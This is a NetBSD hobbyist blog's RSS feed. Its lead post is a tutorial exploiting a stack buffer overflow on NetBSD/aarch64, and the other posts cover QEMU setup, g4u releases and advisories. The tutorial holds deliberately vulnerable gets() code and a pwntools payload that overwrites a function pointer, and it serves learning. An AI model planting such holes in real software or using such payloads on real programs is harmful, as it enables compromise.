<?xml version="1.0" encoding="ISO-8859-1"?>
<rss version="2.0">
  <channel>
    <title>hubertf's NetBSD blog</title>
    <link>http://www.feyrer.de/NetBSD/blog.html/</link>
    <description>Blog about the NetBSD open source operating system</description>
    <language>en</language>
    <docs>http://blogs.law.harvard.edu/tech/rss</docs>
    <generator>blosxom/2.1.2</generator>

  <item>
    <title>pwning NetBSD-aarch64 (ARM)</title>
    <link>http://www.feyrer.de/NetBSD/blog.html/nb_20260308_1932.html</link>
    <pubDate>Sun, 08 Mar 2026 20:18:00 GMT</pubDate>
    <description>
      
&lt;p&gt;For some time, I have ventured into low(er)level hacking &amp;amp; cybersecurity at &lt;a href=&quot;https://www.OverTheWire.org&quot;&gt;OverTheWire&lt;/a&gt; and &lt;a href=&quot;https://pwn.college&quot;&gt;pwn.college&lt;/a&gt;. Today, a LOT of security &amp;amp; hacking is focussed on Linux/x86, but we all know there is more. More operating systems, and more CPUs. In the area of binary exploitation, I wondered if the basic tools for that work on NetBSD/aarch64 (ARM), and I had a look. Spoiler: they do!&lt;/p&gt;

&lt;p&gt;Here&apos;s an example of pwning on NetBSD/aarch64 (ARM).&lt;/p&gt;

&lt;h1&gt;Preparation&lt;/h1&gt;

&lt;p&gt;Step 0: &lt;a href=&quot;http://www.feyrer.de/NetBSD/blog.html/nb_20260308_1626.html&quot;&gt;Install NetBSD/aarch64&lt;/a&gt;, e.g. in qemu.&lt;/p&gt;

&lt;p&gt;Setup the basics:&lt;/p&gt;
&lt;pre&gt;su root -c pkg_add -v https://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/aarch64/11.0_2025Q4/All/pkgin-25.10.0.tgz
su root -c &quot;pkgin install sudo&quot;
sudo pkgin install bash&lt;/pre&gt;

&lt;p&gt;Install pwntools &amp;amp; friends:&lt;/p&gt;
&lt;pre&gt;sudo pkgin install python311 # not newer... pwntools...
sudo pkgin install rust
sudo pkgin install cmake pkg-config openssl
sudo pkgin install gmake
sudo pkgin install vim # for xxd, not the shoddy editor that comes with it&lt;/pre&gt;

&lt;p&gt;When going for pwntools &amp;amp; friends, python 3.11 is the version of choice - newer versions of python are &lt;i&gt;not&lt;/i&gt; supported there:&lt;/p&gt;
&lt;pre&gt;python3.11 -m venv venv-pwn
. ./venv-pwn/bin/activate
pip install &quot;capstone&amp;lt;6&quot; pwntools # same as on macos with angr&lt;/pre&gt;

&lt;p&gt;Install gef in its usual place, just in case:&lt;/p&gt;
&lt;pre&gt;sudo mkdir -p /opt/gef
sudo wget https://github.com/hugsy/gef/raw/main/gef.py -O /opt/gef/gef.py&lt;/pre&gt;

&lt;p&gt;gdb - better colors etc. via .gdbinit (default gdb really looks bad on black terminals):&lt;/p&gt;
&lt;pre&gt;(venv-pwn) qnetbsd$ cat ~/.gdbinit
#set disassembly-flavor intel # disable on ARM :-)
set follow-fork-mode child

set style address foreground cyan
set style function foreground cyan
set style disassembler immediate foreground cyan&lt;/pre&gt;


&lt;h1&gt;pwn v1&lt;/h1&gt;

&lt;p&gt;First pwn attempt:&lt;/p&gt;
&lt;pre&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

void win(void)
{
	printf(&quot;Goodbye, winner.\n&quot;);
	exit(0);
}

void vuln(void)
{
	char name[16];

	printf(&quot;What is your name? &quot;);
	gets(name);
	printf(&quot;Hello %s\n&quot;, name);

	return;
}

int main(void)
{
	vuln();
	return 0;
}&lt;/pre&gt;

&lt;p&gt;Due to differences between x86 and ARM, a simple buffer overflow to overwrite e.g. the return address cannot be done. On ARM, the return address of a function is not stored on the stack but in the X30 register. The crash observed when running this is due to random other values being overwritten.&lt;/p&gt;

Let&apos;s build and see the security parameters:

&lt;pre&gt;
(venv-pwn) qemubsd$ gcc -ggdb win1.c -o win1
ld: /tmp//ccdWZtt2.o: in function `vuln&apos;:
/home/feyrer/tmp/win1.c:15:(.text+0x34): warning: warning: this program uses gets(), which is unsafe.
(venv-pwn) qemubsd$ pwn checksec  win1
[!] Could not populate PLT: Failed to load the Unicorn dynamic library
[*] &apos;/home/feyrer/tmp/win1&apos;
    Arch:       aarch64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX disabled
    PIE:        No PIE (0x200100000)
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes
&lt;/pre&gt;

&lt;p&gt;
Not that many security features on by default. What&apos;s going on, NetBSD?!&lt;/br&gt;
Ignoring this for now, let&apos;s look  at the assembly code:
&lt;/p&gt;

&lt;pre&gt;(venv-pwn) qnetbsd$ gdb -q -ex &apos;disas vuln&apos; win1
Reading symbols from win1...
Dump of assembler code for function vuln:
   0x00000002001009f4 &amp;lt;+0&amp;gt;:	stp	x29, x30, [sp, #-32]!
   0x00000002001009f8 &amp;lt;+4&amp;gt;:	mov	x29, sp
   0x00000002001009fc &amp;lt;+8&amp;gt;:	adrp	x0, 0x200100000
   0x0000000200100a00 &amp;lt;+12&amp;gt;:	add	x0, x0, #0xaf8
   0x0000000200100a04 &amp;lt;+16&amp;gt;:	bl	0x200100730 &amp;lt;printf@plt&amp;gt;
   0x0000000200100a08 &amp;lt;+20&amp;gt;:	add	x0, sp, #0x10
   0x0000000200100a0c &amp;lt;+24&amp;gt;:	bl	0x200100790 &amp;lt;gets@plt&amp;gt;
   0x0000000200100a10 &amp;lt;+28&amp;gt;:	add	x0, sp, #0x10
   0x0000000200100a14 &amp;lt;+32&amp;gt;:	mov	x1, x0
   0x0000000200100a18 &amp;lt;+36&amp;gt;:	adrp	x0, 0x200100000
   0x0000000200100a1c &amp;lt;+40&amp;gt;:	add	x0, x0, #0xb10
   0x0000000200100a20 &amp;lt;+44&amp;gt;:	bl	0x200100730 &amp;lt;printf@plt&amp;gt;
   0x0000000200100a24 &amp;lt;+48&amp;gt;:	nop
   0x0000000200100a28 &amp;lt;+52&amp;gt;:	ldp	x29, x30, [sp], #32
   0x0000000200100a2c &amp;lt;+56&amp;gt;:	ret
End of assembler dump.
(gdb)&lt;/pre&gt;

&lt;p&gt;Note the STP and LDP instructions which save and restore the X29 (frame pointer) and X30 (return address) registers of the calling function (main). By overwriting them, main&apos;s &quot;RET&quot; will do funny things. While this can still be exploited, let&apos;s make things a bit easier in the next attempt.&lt;/p&gt;


&lt;h1&gt;pwn v2&lt;/h1&gt;

&lt;p&gt;Here we add a function pointer &quot;goodbye&quot; that can be overwritten:&lt;/p&gt;
&lt;pre&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

void lose(void)
{
	printf(&quot;Goodbye, loser.\n&quot;);
	exit(0);
}

void win(void)
{
	printf(&quot;Goodbye, winner.\n&quot;);
	exit(0);
}

void vuln(void)
{
	void (*goodbye)(void) = lose;
	char name[16];

	printf(&quot;What is your name? &quot;);
	gets(name);
	printf(&quot;Hello %s\n&quot;, name);

	goodbye();

	return;
}

int main(void)
{
	vuln();
	return 0;
}&lt;/pre&gt;

&lt;p&gt;It&apos;s pretty obvious what&apos;s happening, but for the sake of completeness:&lt;/p&gt;
&lt;pre&gt;(venv-pwn) qnetbsd$ echo huhu | ./win2
What is your name? Hello huhu
Goodbye, loser.&lt;/pre&gt;

&lt;p&gt;Let&apos;s look at the assembly output again:&lt;/p&gt;
&lt;pre&gt;(venv-pwn) qnetbsd$ gdb -q -ex &apos;disas vuln&apos; win2
Reading symbols from win2...
Dump of assembler code for function vuln:
   0x0000000200100a10 &amp;lt;+0&amp;gt;:	stp	x29, x30, [sp, #-48]!
   0x0000000200100a14 &amp;lt;+4&amp;gt;:	mov	x29, sp
   0x0000000200100a18 &amp;lt;+8&amp;gt;:	adrp	x0, 0x200100000
   0x0000000200100a1c &amp;lt;+12&amp;gt;:	add	x0, x0, #0x9d8
   0x0000000200100a20 &amp;lt;+16&amp;gt;:	str	x0, [sp, #40]
   0x0000000200100a24 &amp;lt;+20&amp;gt;:	adrp	x0, 0x200100000
   0x0000000200100a28 &amp;lt;+24&amp;gt;:	add	x0, x0, #0xb38
   0x0000000200100a2c &amp;lt;+28&amp;gt;:	bl	0x200100730 &amp;lt;printf@plt&amp;gt;
   0x0000000200100a30 &amp;lt;+32&amp;gt;:	add	x0, sp, #0x18
   0x0000000200100a34 &amp;lt;+36&amp;gt;:	bl	0x200100790 &amp;lt;gets@plt&amp;gt;
   0x0000000200100a38 &amp;lt;+40&amp;gt;:	add	x0, sp, #0x18
   0x0000000200100a3c &amp;lt;+44&amp;gt;:	mov	x1, x0
   0x0000000200100a40 &amp;lt;+48&amp;gt;:	adrp	x0, 0x200100000
   0x0000000200100a44 &amp;lt;+52&amp;gt;:	add	x0, x0, #0xb50
   0x0000000200100a48 &amp;lt;+56&amp;gt;:	bl	0x200100730 &amp;lt;printf@plt&amp;gt;
=&amp;gt; 0x0000000200100a4c &amp;lt;+60&amp;gt;:	ldr	x0, [sp, #40]               &amp;lt;===
=&amp;gt; 0x0000000200100a50 &amp;lt;+64&amp;gt;:	blr	x0                          &amp;lt;===
   0x0000000200100a54 &amp;lt;+68&amp;gt;:	nop
   0x0000000200100a58 &amp;lt;+72&amp;gt;:	ldp	x29, x30, [sp], #48
   0x0000000200100a5c &amp;lt;+76&amp;gt;:	ret
End of assembler dump.
(gdb)&lt;/pre&gt;

&lt;p&gt;Note the LDR and BLR instructions at 0x0000000200100a4c - The X0 register is loaded with our function pointer by LDR, and BLR does the actual call.&lt;/p&gt;

&lt;p&gt;By overwriting the pointer, we can call another function. Let&apos;s use pwn cyclic to find out what&apos;s actually in x0 at the time of the BLR call:&lt;/p&gt;
&lt;pre&gt;(venv-pwn) qnetbsd$ pwn cyclic 100 &amp;gt;c
(venv-pwn) qnetbsd$ gdb  -q -ex &apos;set pagination off&apos; -ex &apos;b *0x0000000200100a50&apos; -ex &apos;run &amp;lt;c&apos; -ex &apos;i r x0&apos; win
Reading symbols from win...
Breakpoint 1 at 0x200100a50: file win.c, line 25.
Starting program: /home/feyrer/tmp/win &amp;lt;c
What is your name? Hello aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Breakpoint 1, 0x0000000200100a50 in vuln () at win.c:25
25		goodbye();
x0             0x6161616661616165  7016996786768273765
(gdb) ! pwn cyclic -l 0x6161616661616165
16
(gdb) print win
$1 = {void (void)} 0x2001009f4 &amp;lt;win&amp;gt;&lt;/pre&gt;

&lt;p&gt;The function pointer is 16 bytes from the start of our name buffer, and we have the address of the win function. So let&apos;s construct our input:&lt;/p&gt;
&lt;pre&gt;(venv-pwn) qnetbsd$ python3 -c &apos;from pwn import * ; p = b&quot;A&quot; * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)&apos; | xxd
00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: f409 1000 0200 0000                      ........&lt;/pre&gt;

&lt;p&gt;Looks good, so call it:&lt;/p&gt;
&lt;pre&gt;(venv-pwn) qnetbsd$ python3 -c &apos;from pwn import * ; p = b&quot;A&quot; * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)&apos; | ./win2
What is your name? Hello AAAAAAAAAAAAAAAA
Goodbye, winner.
(venv-pwn) qnetbsd$ uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026  mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm&lt;/pre&gt;

&lt;h1&gt;Success&lt;/h1&gt;

&lt;p&gt;Voila, ARM pwnage on NetBSD! :-)&lt;/p&gt;

Summary:
&lt;pre&gt;
(venv-pwn) qnetbsd$ echo huhu | ./win2
What is your name? Hello huhu
Goodbye, loser.
(venv-pwn) qnetbsd$ python3 -c &apos;from pwn import * ; p = b&quot;A&quot; * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)&apos; | ./win2
What is your name? Hello AAAAAAAAAAAAAAAA�
Goodbye, winner.
(venv-pwn) qnetbsd$ uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026  mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm &lt;/pre&gt;

&lt;p&gt;I&apos;m positively impressed by the whole toolchain working as expected, given that e.g. pwntools starts compiling rust when installing. Well done, NetBSD!&lt;/p&gt;


&lt;h1&gt;On security &amp;amp; compiler flags&lt;/h1&gt;

Of course you can enable all the security flags shown above,
with the proper gcc flags:

&lt;pre&gt;
(venv-pwn) qemubsd$ gcc -ggdb -fstack-protector-all -fpie -pie -Wl,-z,relro,-z,now win1.c -o win1-prot
ld: /tmp//ccE3ncle.o: in function `vuln&apos;:
/home/feyrer/tmp/win1.c:15:(.text+0x64): warning: warning: this program uses gets(), which is unsafe.
(venv-pwn) qemubsd$ pwn checksec win1-prot
[!] Could not populate PLT: Failed to load the Unicorn dynamic library
[*] &apos;/home/feyrer/tmp/win1-prot&apos;
    Arch:       aarch64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX disabled
    PIE:        PIE enabled
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes
&lt;/pre&gt;

Exploiting this binary is left as an exercise to the reader. 

    </description>
  </item>
  <item>
    <title>Testdriving NetBSD-11.0RC2 on ARM hardware (in VM!)</title>
    <link>http://www.feyrer.de/NetBSD/blog.html/nb_20260308_1626.html</link>
    <pubDate>Sun, 08 Mar 2026 16:44:00 GMT</pubDate>
    <description>
      
After some (mostly ongoing) absence from NetBSD, and
with NetBSD 11.0RC2 recently announced, I wanted to give it a try.
I have moved to a ARM-based Apple machine, and thus x86 / amd64
was not the way to go. Instead, I wanted to see how NetBSD works
on ARM these days. Here&apos;s how I got it going!

&lt;h1&gt;1st try: VirtualBox&lt;/h1&gt;

NetBSD does not come with a VirtualBox image in 2026, so my workaround
was to convert the provided .img file and convert it to a disk image
file in VDI format. 

&lt;p&gt;Download:&lt;br&gt;
&lt;a href=&quot;https://cdn.netbsd.org/pub/NetBSD/NetBSD-11.0_RC2/evbarm-aarch64/binary/gzimg/arm64.img.gz&quot;&gt;https://cdn.netbsd.org/pub/NetBSD/NetBSD-11.0_RC2/evbarm-aarch64/binary/gzimg/arm64.img.gz&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Convert img to VDI:&lt;/p&gt;
&lt;pre&gt;qemu-img convert -f raw -O vdi arm64.img arm64.vdi&lt;/pre&gt;

&lt;p&gt;Setup VirtualBox VM with .vdi file as existing harddisk.&lt;/p&gt;

&lt;p&gt;Result: VirtualBox (not the VM!) crashed. Oh well.&lt;/p&gt;


&lt;h1&gt;2nd try: QEMU&lt;/h1&gt;

&lt;p&gt;
After VirtualBox didn&apos;t work, I wanted to see if qemu (running on MacOS)
works. Spoiler: it does, and here are the steps to get things going:
&lt;/p&gt;

&lt;p&gt;First, grab the kernel:&lt;br&gt;
&lt;a href=&quot;https://cdn.netbsd.org/pub/NetBSD/NetBSD-11.0_RC2/evbarm-aarch64/binary/kernel/netbsd-GENERIC64.img.gz&quot;&gt;https://cdn.netbsd.org/pub/NetBSD/NetBSD-11.0_RC2/evbarm-aarch64/binary/kernel/netbsd-GENERIC64.img.gz&lt;/a&gt;&lt;br&gt;
...and gunzip. Make sure kernel and userland versions match!&lt;/p&gt;

&lt;p&gt;Run in QEMU:&lt;/p&gt;
&lt;pre&gt;qemu-system-aarch64 -M virt,accel=hvf -cpu host -smp 4 \
	-m 4g -drive if=none,format=raw,file=arm64.img,id=hd0 \
	-device virtio-blk-device,drive=hd0 -netdev user,id=net0 \
	-device virtio-net-device,netdev=net0 -kernel netbsd-GENERIC64.img \
	-append root=dk1 -nographic&lt;/pre&gt;

&lt;p&gt;How to leave QEMU: Ctrl-A X&lt;/p&gt;

&lt;p&gt;&lt;b&gt;Troubleshooting:&lt;/b&gt; Make sure kernel and userland match - else random segfaults will happen.&lt;/p&gt;


&lt;h1&gt;Userland setup&lt;/h1&gt;

&lt;p&gt;Quite a few settings are already OK (sshd, dhcpcd, ntp),
which is not the default I remember from a few years ago, but 
that&apos;s nice and convenient. I still wanted to see what config
settings are new, and here are my additions to &lt;code&gt;/etc/rc.conf&lt;/code&gt;:&lt;/p&gt;

&lt;pre&gt;hostname=&quot;qnetbsd&quot;
rndctl=yes
certctl_init=yes
ip6mode=autohost
ntpdate=NO&lt;/pre&gt;

&lt;p&gt;On first login you will see an unsafe keys warning:&lt;/p&gt;
&lt;pre&gt;-- UNSAFE KEYS WARNING:

        The ssh host keys on this machine have been generated with
        not enough entropy configured, so they may be predictable.

        To fix, follow the &quot;Adding entropy&quot; section in the entropy(7)
        man page.  After this machine has enough entropy, re-generate
        the ssh host keys by running:

                /etc/rc.d/sshd keyregen&lt;/pre&gt;

&lt;p&gt;Fix by feeding entropy, then reboot:&lt;/p&gt;
&lt;pre&gt;echo lkajsdflkjasdflkjasdlkfjoiasjdfiojasdkf &amp;gt;/dev/random
shutdown -r now&lt;/pre&gt;

&lt;p&gt;Note: Use &lt;code&gt;shutdown(8)&lt;/code&gt;, not &lt;code&gt;reboot(8)&lt;/code&gt; or &lt;code&gt;poweroff(8)&lt;/code&gt; - only shutdown runs the hooks that save entropy.&lt;/p&gt;

&lt;p&gt;After reboot, regenerate SSH keys:&lt;/p&gt;
&lt;pre&gt;/etc/rc.d/sshd keyregen&lt;/pre&gt;


&lt;h1&gt;Success&lt;/h1&gt;

&lt;pre&gt;neuland% qemu-system-aarch64 -M virt,accel=hvf -cpu host -smp 4 -m 4g \
  -drive if=none,format=raw,file=arm64.img,id=hd0 \
  -device virtio-blk-device,drive=hd0 \
  -netdev user,id=net0 -device virtio-net-device,netdev=net0 \
  -kernel netbsd-GENERIC64.img -append root=dk1 -nographic
[   1.0000000] NetBSD/evbarm (fdt) booting ...
[   1.0000000] NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026
...
NetBSD/evbarm (qnetbsd) (constty)

login: root
NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026
Welcome to NetBSD!

qnetbsd# uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar  4 21:02:00 UTC 2026  mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm&lt;/pre&gt;


&lt;h1&gt;Summary&lt;/h1&gt;

&lt;p&gt;Not providing a working VirtualBox image in 2026 is painful for new users.
As Kali Linux works fine in VirtualBox on the same hardware, I&apos;d say
there is some way to go, NetBSD!
&lt;/p&gt;

&lt;p&gt;The manual setup works, but needs some tweaks beyond the expected (&lt;code&gt;/etc/rc.conf&lt;/code&gt;), exp. manual entropy setup was surprising as 
network and disk were working ok. I did expect those to be used as
sources of randomness before the first SSH keys are generated.&lt;/p&gt;

&lt;p&gt;We&apos;ll see where things go from there. For now I can (at least for QEMU on my Mac) say: Of course it runs NetBSD! :-)&lt;/p&gt;

    </description>
  </item>
  <item>
    <title>Back from the dead</title>
    <link>http://www.feyrer.de/NetBSD/blog.html/nb_20211230_0127.html</link>
    <pubDate>Thu, 30 Dec 2021 01:29:00 GMT</pubDate>
    <description>
      
I had to move servers a few months back, 
and in the process something went south with
this blog. I&apos;ve changed a few things, and
the blog is alive now again.
&lt;p&gt;

As a matter of fact, I have little time for NetBSD
these days, so don&apos;t expect many new articles.
Just take this as a sign of life. :-)
&lt;p&gt;

Of course if you think I should add some entry
on something here, drop me an email and who knows - maybe
I can get things rolling again here?

    </description>
  </item>
  <item>
    <title>The adventure of rebuilding g4u from source</title>
    <link>http://www.feyrer.de/NetBSD/blog.html/nb_20180317_2005.html</link>
    <pubDate>Sat, 17 Mar 2018 20:18:00 GMT</pubDate>
    <description>
      
I was asked by a long-time 
&lt;a href=&quot;https://www.feyrer.de/g4u/&quot;&gt;g4u&lt;/a&gt; user on help with rebuilding
g4u from sources. After pointing at the
&lt;a href=&quot;http://www.feyrer.de/g4u/#rebuilding&quot;&gt;instructions on the homepage&lt;/a&gt;,
we figured out that a few lose odds and ends didin&apos;t match.
After bouncing some advices back and forth, I ventured into the 
frabjous joy of starting a rebuild from scratch, and quick enough
ran into some problems, too.
&lt;p&gt;

Usually I cross-compile g4u from Mac OS X, but for the fun of it
I did it on NetBSD (7.0-stable branch, amd64 architecture in VMware Fusion)
this time. After waiting forever on the CVS checkout, I found that
empty directories were not removed - that&apos;s what you get if you have -P in your ~/.cvsrc file.
&lt;p&gt;

I already had the hint that the &quot;g4u-build&quot; script needed a change to have
&quot;G4U_BUILD_KERNEL=true&quot;.
&lt;p&gt;

From there, things went almost smooth: building indicated a few
files that popped up &quot;variable may be used uninitialized&quot; errors,
and which -- thanks to -Werror -- bombed out the build. Fixing
was easy, and I have no idea why that built for me on the release.
I have sent
&lt;a href=&quot;https://sourceforge.net/p/g4u/mailman/attachment/4DFB5B11-F8C5-4D2C-BF94-9DE43A831A18%40feyrer.de/2/&quot;&gt;a patch with the required changes&lt;/a&gt;
&lt;a href=&quot;https://sourceforge.net/p/g4u/mailman/message/36265571/&quot;&gt;to the g4u-help mailing list&lt;/a&gt;. (After fixing that I apparently
got unsubscribed from my own support mailing list - thank you
very much, Sourceforge ;)).
&lt;p&gt;

After those little hassles, the build worked fine, and gave me
the floppy disk and ISO images that I expected:

&lt;pre&gt;
&gt;       ls -l `pwd`/g4u*fs
&gt;       -rw-r--r--  2 feyrer  staff  1474560 Mar 17 19:27 /home/feyrer/work/NetBSD/cvs/src-g4u.v3-deOliviera/src/distrib/i386/g4u/g4u1.fs
&gt;       -rw-r--r--  2 feyrer  staff  1474560 Mar 17 19:27 /home/feyrer/work/NetBSD/cvs/src-g4u.v3-deOliviera/src/distrib/i386/g4u/g4u2.fs
&gt;       -rw-r--r--  2 feyrer  staff  1474560 Mar 17 19:27 /home/feyrer/work/NetBSD/cvs/src-g4u.v3-deOliviera/src/distrib/i386/g4u/g4u3.fs
&gt;       -rw-r--r--  2 feyrer  staff  1474560 Mar 17 19:27 /home/feyrer/work/NetBSD/cvs/src-g4u.v3-deOliviera/src/distrib/i386/g4u/g4u4.fs
&gt;       ls -l `pwd`/g4u.iso
&gt;       -rw-r--r--  2 feyrer  staff  6567936 Mar 17 19:27 /home/feyrer/work/NetBSD/cvs/src-g4u.v3-deOliviera/src/distrib/i386/g4u/g4u.iso
&gt;       ls -l `pwd`/g4u-kernel.gz
&gt;       -rw-r?r--  1 feyrer  staff  6035680 Mar 17 19:27 /home/feyrer/work/NetBSD/cvs/src-g4u.v3-deOliviera/src/distrib/i386/g4u/g4u-kernel.gz &lt;/pre&gt;


Next steps are to confirm the above changes as working
from my faithful tester, and then look into how to merge this
into the
&lt;a href=&quot;http://www.feyrer.de/g4u/#rebuilding&quot;&gt;build instructions &lt;/a&gt;.

    </description>
  </item>
  <item>
    <title>No more Google ads</title>
    <link>http://www.feyrer.de/NetBSD/blog.html/nb_20180119_2344.html</link>
    <pubDate>Fri, 19 Jan 2018 23:47:00 GMT</pubDate>
    <description>
      
&lt;table&gt;
&lt;tr&gt;
&lt;td&gt;
I&apos;ve had Google Adsense advertising for quite a while on my blog,
the &lt;a href=&quot;http://www.feyrer.de/g4u/&quot;&gt;g4u homepage&lt;/a&gt; and various other pages.
In the start a little bit of money came in.
This has all dried up long since, and in light of 
privacy regulations like the EU GDPR I&apos;ve decided to
not give away my users&apos; data to Google any longer.
So, there it is - my blog and other pages are free for your use now,
and you are no longer the product being sold. Enjoy! :-)
&lt;p&gt;

(If you find any remaining advertisement, drop me a line!)
&lt;/td&gt;
&lt;td&gt; &lt;img align=&quot;right&quot; width=&quot;100&quot; src=&quot;https://nikosskordilis.files.wordpress.com/2013/06/a80e0-no-adsense1.png&quot; /&gt;&lt;/td&gt;
&lt;/table&gt;

    </description>
  </item>
  <item>
    <title>NetBSD 7.1.1 released</title>
    <link>http://www.feyrer.de/NetBSD/blog.html/nb_20180104_0116.html</link>
    <pubDate>Thu, 04 Jan 2018 01:21:00 GMT</pubDate>
    <description>
      
On December 22nd, NetBSD 7.1.1 was released as premature
christmas present, see
&lt;a href=&quot;http://www.netbsd.org/releases/formal-7/NetBSD-7.1.1.html&quot;&gt;the release annoucement&lt;/a&gt;.
&lt;p&gt;

NetBSD 7.1.1 is the first update with security and critical
fixes for the NetBSD 7.1 branch. Those include a number of 
fixes for security advisories, kernel and userland.

    </description>
  </item>
  <item>
    <title>New year, new security advisories!</title>
    <link>http://www.feyrer.de/NetBSD/blog.html/nb_20180104_0111.html</link>
    <pubDate>Thu, 04 Jan 2018 01:16:00 GMT</pubDate>
    <description>
      
So things have become a bit silent here, which is due
to reallife - my apologies. Still, I&apos;d like to wish
everyone following this here a Happy New Year 2018!
And with this, a few new security advisories have
been published:

&lt;ul&gt;
&lt;li&gt; &lt;a href=&quot;http://mail-index.netbsd.org/netbsd-announce/2018/01/02/msg000274.html&quot;&gt;NetBSD Security Advisory 2018-001: Several vulnerabilities in context handling&lt;/a&gt; - this affects amd64, i386 and sparc64
&lt;li&gt; &lt;a href=&quot;http://mail-index.netbsd.org/netbsd-announce/2018/01/02/msg000275.html&quot;&gt;NetBSD Security Advisory 2018-002: Local DoS in virecover&lt;/a&gt;
&lt;/ul&gt;

    </description>
  </item>
  <item>
    <title>34C3 talk: Are all BSDs created equally?</title>
    <link>http://www.feyrer.de/NetBSD/blog.html/nb_20180104_0105.html</link>
    <pubDate>Thu, 04 Jan 2018 01:08:00 GMT</pubDate>
    <description>
      
I haven&apos;t seen this mentioned on the NetBSD mailing lists,
and this may be of interest to some -
there was a talk about security bugs in the various BSDs at the 34th Chaos
Communication Congress:
&lt;p&gt;

&lt;ul&gt;
&lt;li&gt; &lt;a href=&quot;https://www.youtube.com/watch?v=rRg2vuwF1hY&quot;&gt;Video: https://www.youtube.com/watch?v=rRg2vuwF1hY&lt;/a&gt;
&lt;li&gt; &lt;a href=&quot;https://events.ccc.de/congress/2017/Fahrplan/events/8968.html&quot;&gt;Talk: https://events.ccc.de/congress/2017/Fahrplan/events/8968.html&lt;/a&gt;
&lt;/ul&gt;

In summary, many reasons for bugs are shown in many areas of the kernel
(system calls, file systems, network stack, compat layer, ...), and what has
happened after they were made known to the projects.
&lt;p&gt;

As a hint, NetBSD still has a number of Security Advisories to publish, it
seems. Anyone wants to help out the security team? :-)

    </description>
  </item>
  <item>
    <title>g4u 2.6 released</title>
    <link>http://www.feyrer.de/NetBSD/blog.html/nb_20170608_1558.html</link>
    <pubDate>Thu, 08 Jun 2017 16:19:00 GMT</pubDate>
    <description>
      
After a five-year period for beta-testing and updating,
I have finally released g4u 2.6. With its origins in 1999,
I&apos;d like to say: Happy 18th Birthday, g4u!
&lt;p&gt;

&lt;b&gt;About g4u:&lt;/b&gt;
g4u (&quot;ghosting for unix&quot;) is a NetBSD-based bootfloppy/CD-ROM that allows easy cloning of PC harddisks to deploy a common setup on a number of PCs using FTP. The floppy/CD offers two functions. The first is to upload the compressed image of a local harddisk to a FTP server, the other is to restore that image via FTP, uncompress it and write it back to disk. Network configuration is fetched via DHCP. As the harddisk is processed as an image, any filesystem and operating system can be deployed using g4u. Easy cloning of local disks as well as partitions is also supported.
&lt;p&gt;

&lt;b&gt;The past:&lt;/b&gt;
When I started g4u, I had the task to install a number
of lab machines with a dual-boot of Windows NT and NetBSD.
The hype was about Microsoft&apos;s &quot;Zero Administration Kit&quot; (ZAK)
then, but that did barely work for the Windows part - file transfers were 
slow, depended on the clients&apos; hardware a lot (requiring fiddling with MS
DOS network driver disks), and on the ZAK server the files for
installing happened do disappear for no good reason every now and then.
Not working well, and leaving out NetBSD (and everything elase),
I created g4u. This gave me the (relative) pain of getting 
things working once, but with the option to easily add network 
drivers as they appeared in NetBSD (and oh they did!), plus allowed
me to install any operating system.
&lt;p&gt;

&lt;b&gt;The present:&lt;/b&gt;
We&apos;ve used g4u successfully in our labs then, booting from CDROM.
I also got many donations from public and private instituations
plus comanies from many sectors, indicating that g4u does make a
difference.
&lt;p&gt;

In the mean time, the world has changed, and CDROMs aren&apos;t used
that much any more. Network boot and USB sticks are today&apos;s devices
of choice, cloning of a full disk without knowing its structure
has both advantages but also disadvantages, and g4u&apos;s user interface
is still command-line based with not much space for automation.
For storage, FTP servers are nice and fast, but alternatives
like SSH/SFTP, NFS, iSCSI and SMB for remote storage plus local storage
(back to fun with filesystems, anyone? avoiding this was why g4u
was created in the first place!) should be considered these days.
Further aspects include integrity (checksums), confidentiality
(encryption).
This leaves a number of open points to address either by
future releases, or by other products.
&lt;p&gt;

&lt;b&gt;The future:&lt;/b&gt;
At this point, my time budget for g4u is very limited.
I welcome people to contribute to g4u - g4u is Open Source
for a reason. Feel free to get back to me for any changes
that you want to contribute!
&lt;p&gt;

&lt;b&gt;The changes:&lt;/b&gt;
Major changes in g4u 2.6 include:
&lt;ul&gt;
&lt;li&gt; Make this build with NetBSD-current sources as of 2017-04-17 (shortly before netbsd-8 release branch), binaries were cross-compiled from Mac OS X 10.10
&lt;li&gt; Many new drivers, bugfixes and improvements from NetBSD-current (see beta1 and beta2 announcements)
&lt;li&gt; Go back to keeping the disk image inside the kernel as ramdisk, do not load it as separate module. Less error prone, and allows to boot the g4u (NetBSD) kernel from a single file e.g. via PXE (Testing and documentation updates welcome!)
&lt;li&gt; Actually DO provide the g4u (NetBSD) kernel with the embedded g4u disk image from now on, as separate file, g4u-kernel.gz
&lt;li&gt; In addition to MD5, add SHA512 checksums
&lt;/ul&gt;

&lt;b&gt;The software:&lt;/b&gt;
Please see 
